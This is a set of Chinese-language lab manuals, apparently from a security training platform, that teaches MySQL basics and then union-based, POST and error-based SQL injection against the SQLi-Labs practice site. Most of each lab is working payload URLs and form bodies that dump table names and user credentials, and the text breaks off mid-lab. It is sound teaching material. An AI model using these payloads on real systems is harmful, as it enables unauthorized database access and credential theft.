SQL注入-SQL数据库操作基础

实验目的

熟悉MySQL(MariaDB)数据库的基础与进阶语法,加深对SQL命令语句的理解,为后续SQL注入攻击与防护实验打下坚实的基础。

实验环境

操作机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

MySQL(MariaDB)数据库帐号root,密码为空

实验原理

MySQL(MariaDB)数据库基本命令的功能。

实验步骤

第一部分:MySQL(MariaDB)基础操作

1 连接数据库

输入命令:

1
mysql -u root -p

之后出现“Enter password:”的提示,由于root密码为空,此处直接按下回车键即可登录。

image.png

成功登录数据库后,会出现“MariaDB[(none)]”的提示符。

2 显示系统中所有数据库的名称

输入命令:

1
show databases;

image.png

注意:绝大部分SQL命令都以分号作为结束符,请不要遗漏!

3 新建数据库student

命令:

1
create database student;

新建成功后,可再次使用下列命令查看结果:

1
show databases;

image.png

4 使用数据库student

命令:

1
use student;

image.png

5 在数据库student中创建表result

命令:

1
create table result(id int(8),name varchar(20),city varchar(20),score int(5));

image.png

6 在表result中增加数据

本步骤在result中插入如下5行数据:

命令:

1
2
3
4
5
6
7
8
9
insert into result(id,name,city,score) values(1,"wang","beijing",75);

insert into result(id,name,city,score) values(3,"li","shanghai",80);

insert into result(id,name,city,score) values(5,"chen","fuzhou",70);

insert into result(id,name,city,score) values(2,"zhou","xian",90);

insert into result(id,name,city,score) values(7,"han","guangzhou",65);

注意:如果数据是字符型(varchar),必须使用单引号或者双引号包裹!

image.png

插入成功后,可用如下命令查询result表中的全部内容:

1
select * from result;

image.png

7 在表result中删除1条数据

例如,删除id=7的数据,可使用以下命令:

1
delete from result where id=7;

删除成功后,仍然可以用以下命令查看结果:

1
select * from result;

image.png

8 修改表result中的1条数据

例如,修改id=5的数据,将其score设置为60,可使用以下命令:

1
update result set score=60 where id=5;

修改成功后,仍然可以用以下命令查看结果:

1
select * from result;

image.png

9 查询表result中的数据

例如:

1
2
select * from result;
//查询表中所有字段

image.png

1
2
select name,score from result;
//查询表中的name和score字段

image.png

1
2
select score from result where name="li";
//查询name为li的学生的分数

image.png

第二部分:MySQL(MariaDB)进阶操作

1 order by的用法

(1)将result表中的数据按照分数(score)从高到低进行排序:

1
select * from result order by score desc

其中,desc表示降序(递减);如果从低到高(升序)进行排列,则可以将desc换成asc;如果不加此参数,默认情况下按升序方式排列。

image.png

(2)分别尝试以下命令:

1
select id,name,score from result order by 1;

image.png

正常显示以id升序排列的结果。

1
select id,name,score from result order by 2;

image.png

正常显示以name升序排列的结果!

1
select id,name,score from result order by 3;

image.png

正常显示以score升序排列的结果!

1
select id,name,score from result order by 4;

image.png

报错!

从以上结果可以总结出,对于以下命令:

1
select c1,c2,...,cn from result order by M;

order by后面的数字(M)必须小于或等于n(数据库查询的字段数),才能正常显示。如果M>n,数据库就会报错。可以利用这个特点判断数据库查询的字段数。

2 limit的用法

基本格式为:

1
2
3
4
5
limit M,N
//表示从第M+1条数据开始,顺序往下查询N条数据

limit M
//表示查询前M条数据

尝试执行以下两条命令:

1
2
select * from result limit 0,2;
//查询表中的前2条数据

image.png

1
2
select id,name,score from result limit 1,3;
//从第2条数据起,往下查询3条数据的id、name和score字段

image.png

3 union select的用法

1
1select * from result union select 1,2,3,4;

此语句的查询结果,即是select * from result和select 1,2,3,4查询结果的拼接。

image.png

(2)尝试执行以下3条语句:

1
select id,name,score from result union select 1,2,3;

image.png

正常显示!

1
select id,name,score from result union select 1,2;

image.png

报错!

1
select id,name,score from result union select 1,2,3,4;

image.png

报错!

从以上结果可以总结,对于以下命令:

1
select c1,c2,...,cn from result union select d1,d2,...dm;

后半句union select查询的字段数(m)必须与前半句select查询的字段数(n)相等,数据库才能正常显示结果。与order by相似,可以利用这个特点判断数据库查询的字段数。

(3)尝试执行下列语句

1
select id,city from result where id=1 and 1=2 union select name,score from result;

image.png

从以上结果可以总结,在已知字段名的情况下,攻击者只要将该字段置于任何能够显示的位置,就可以暴露该字段的值。

4 union select结合information_schema数据库

MySQL(MariaDB)5.5以上版本自带information_schema数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。可以把information_schema数据库看作MySQL(MariaDB)的“目录”!

(1)尝试执行以下两条语句:

1
2
3
show databases;

select schema_name from information_schema.schemata;

image.png

两条语句执行结果相同!

(2)尝试执行以下两组语句:

第一组:

1
2
3
use student;

show tables;

第二组:

1
select table_name from information_schema.tables where table_schema='student';

image.png

两组命令执行结果相同!

实验总结

通过本实验熟悉了SQL基本语法,为后面SQL注入学习打下深厚基础。
完成实验后请思考:如何做好SQL数据库的安全运维工作,既保障数据库的正常运行,又不带来意外风险?

SQL注入-基于联合查询的数字型GET注入

实验目的

理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

数字型GET注入,其注入点存在于URL中的GET参数处,如http://www.testweb.com/user.php?id=8,而服务器后端实际查询代码原型诸如:“select … from … where id=$id…” 。
攻击者可以通过构造恶意的GET输入参数,利用union select命令进行注入,暴露数据库中存储的信息。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-2为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-2。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-2/

(注意大小写)

image.png

登录后,根据网页提示,先给定一个GET参数,即:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

image.png

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1'

运行后报错!

image.png

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=1

运行后正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2

运行后未正常显示!

image.png

由上述结果可以判断,网站存在数字型注入点。

3 判断网站查询的字段数

尝试使用以下payload获取网站查询的字段数(关键字order by):

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 1--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 2--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 3--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 4--+

报错!

image.png

由上述结果可以判断,网站查询的字段数为3。

4 判断网站的回显位置

利用以下payload判断网站的回显位置:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

执行的结果是:2号位和3号位可以回显!

image.png

后面的步骤中,我们可以在2号位或3号位设置一些具有特殊功能的函数或命令来执行SQL注入!

5 获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

显示结果为security。

image.png

6 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

image.png

7 获取users表的全部字段名

使用以下payload获取users表的全部字段名:

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

显示结果,users表中有id、username和password三个字段。

image.png

8 获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1--+

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。

实验至此结束。

实验总结

本次实验,成功实现了对存在数字型GET注入点的网站的手工SQL注入,掌握了基于联合查询的注入方法和流程。

SQL注入-基于联合查询的字符型GET注入

实验目的

理解字符型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

字符型GET注入,其注入点存在于URL中的GET参数处,如http://www.testweb.com/user.php?id=admin,而服务器后端实际查询代码原型诸如:“select … from … where id=’$id’…” 。
攻击者可以通过构造恶意的GET输入参数,利用union select命令进行注入,暴露数据库中存储的信息。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-1为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

image.png

登录后,根据网页提示,先给定一个GET参数,即:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

image.png

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

image.png

由上述结果可以判断,网站存在字符型注入点。

3 判断网站查询的字段数

尝试使用以下payload获取网站查询的字段数(关键字order by):

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 1--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 2--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 3--+

正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 4--+

报错!

image.png

由上述结果可以判断,网站查询的字段数为3。

4 判断网站的回显位置

利用以下payload判断网站的回显位置:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3--+

执行的结果是:2号位和3号位可以回显!

image.png

5 获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,database()--+

显示结果为security。

image.png

6 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

image.png

7 获取users表的全部字段名

使用以下payload获取users表的全部字段名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

显示结果,users表中有id、username和password三个字段。

image.png

8 获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1--+

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,掌握了基于联合查询的注入方法和流程。

SQL注入-基于联合查询的POST注入

实验目的

理解POST注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

POST注入,其注入点存在于POST表单中的参数处。攻击者可以通过代理抓包工具(如Burpsuite)拦截并修改POST表单中的参数,利用union select命令进行注入,暴露数据库中存储的信息。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-11为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-11/

(注意大小写)

image.png

2 利用Burpsuite工具抓包

(1)启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。

image.png

image.png

image.png

image.png

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

image.png

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

image.png

注意:上述设置完成之后,不要关闭Burpsuite!

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:

image.png

代理设置成功后,FoxyProxy插件图标会变成蓝色。

image.png

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-11登录验证界面,输入用户名admin、
密码任意(本例中为1),然后点击Submit按钮,

image.png

此时Burpsuite会拦截到HTTP请求包:

image.png

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

image.png

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

image.png

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。

3 寻找注入点

在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:

1
uname=admin'&passwd=1&submit=Submit

报错!

image.png

1
uname=admin'#&passwd=1&submit=Submit

目标正常回显用户名和密码!

image.png

由此可以判断,目标网站在POST参数处存在字符型注入点。

4 判断网站查询的字段数

尝试使用以下payload获取网站查询的字段数(关键字order by):

1
uname=admin' order by 1#&passwd=1&submit=Submit

目标正常回显用户名和密码!

image.png

1
uname=admin' order by 2#&passwd=1&submit=Submit

目标正常回显用户名和密码!

image.png

1
uname=admin' order by 3#&passwd=1&submit=Submit

报错!

image.png

由此可以判断,网站查询的字段数为2。

5 判断网站的回显位置

利用以下payload判断网站的回显位置:

1
uname=admin' and 1=2 union select 1,2#&passwd=1&submit=Submit

运行结果,1号位和2号位均可以回显!

image.png

6 获取网站当前所在数据库的库名

利用以下payload获取网站当前所在数据库的库名:

1
uname=admin' and 1=2 union select 1,database()#&passwd=1&submit=Submit

显示结果为security。

image.png

7 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

1
uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=1&submit=Submit

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

image.png

8 获取users表的全部字段名

使用以下payload获取users表的全部字段名:

1
uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=1&submit=Submit

显示结果,users表中有id、username和password三个字段。

image.png

9 获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 0,1#&passwd=1&submit=Submit

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 1,1#&passwd=1&submit=Submit

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 2,1#&passwd=1&submit=Submit

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

实验总结

本次实验,成功实现了对存在POST注入点的网站的手工SQL注入,掌握了基于联合查询的注入方法和流程。

SQL注入-基于报错的注入1

实验目的

熟悉报错功能函数extractvalue()的用法,掌握基于报错的SQL注入基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。

常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

(2)关于extractvalue()函数

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue(XML_document, XPath_string)
参数1:XML_document是String格式,为XML文档对象的名称;
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方。
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:’xxxxxxxx’。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助extractvalue()函数,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

image.png

登录后,根据网页提示,先给定一个GET参数,即:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

image.png

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

image.png

由上述结果可以判断,网站存在字符型注入点。

3 获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

显示结果为security。

image.png

4 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

image.png

注意:extractvalue() 函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

1
2
3
4
5
6
7
8
9
10
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
//显示security库中的第1张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+
//显示security库中的第2张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+
//显示security库中的第3张表的名字

...

5 获取users表的全部字段名

使用以下payload获取users表的全部字段名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

显示结果,users表中有id、username和password三个字段。

image.png

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

1
2
3
4
5
6
7
8
9
10
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+
//显示users表中的第1个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+
//显示users表中的第2个字段的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+
//显示users表中的第3个字段的名字

...

6 获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。

实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了extractvalue()函数的用法,掌握了基于报错的注入方法和流程。

SQL注入-基于报错的注入2

实验目的

熟悉报错功能函数floor()的用法,掌握基于报错的SQL注入基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

(2)关于floor()函数

在进行报错注入时,floor()函数一般需要与rand()、count()、group by联用。
作用:
floor(x):对参数x向下取整;
rand():生成一个0~1之间的随机浮点数;
count(*):统计某个表下总共有多少条记录;
group by x:按照(by)一定的规则(x)进行分组;
报错原理:floor()函数与group
by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group
by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key
‘group_key’。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助floor()函数与rand()、count()、group by的联用,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-1/

(注意大小写)

image.png

登录后,根据网页提示,先给定一个GET参数,即:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

image.png

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

image.png

由上述结果可以判断,网站存在字符型注入点。

3 获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为security。注意:请忽略后面的1。

image.png

4 获取数据库security的全部表名

使用以下payload获取数据库security的表名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第1张表的名字为emails。

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第2张表的名字为referers。

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第3张表的名字为uagents。

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示security库中的第4张表的名字为users。

image.png

以上显示结果中,第4张表users当中可能存放着网站用户的基本信息。

5 获取users表的全部字段名

使用以下payload获取users表的字段名:

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第1个字段名字为id。

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第2个字段名字为username。

image.png

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示users表中的第3个字段名字为password。

image.png

综合以上显示结果,users表中有id、username和password三个字段。

6 获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
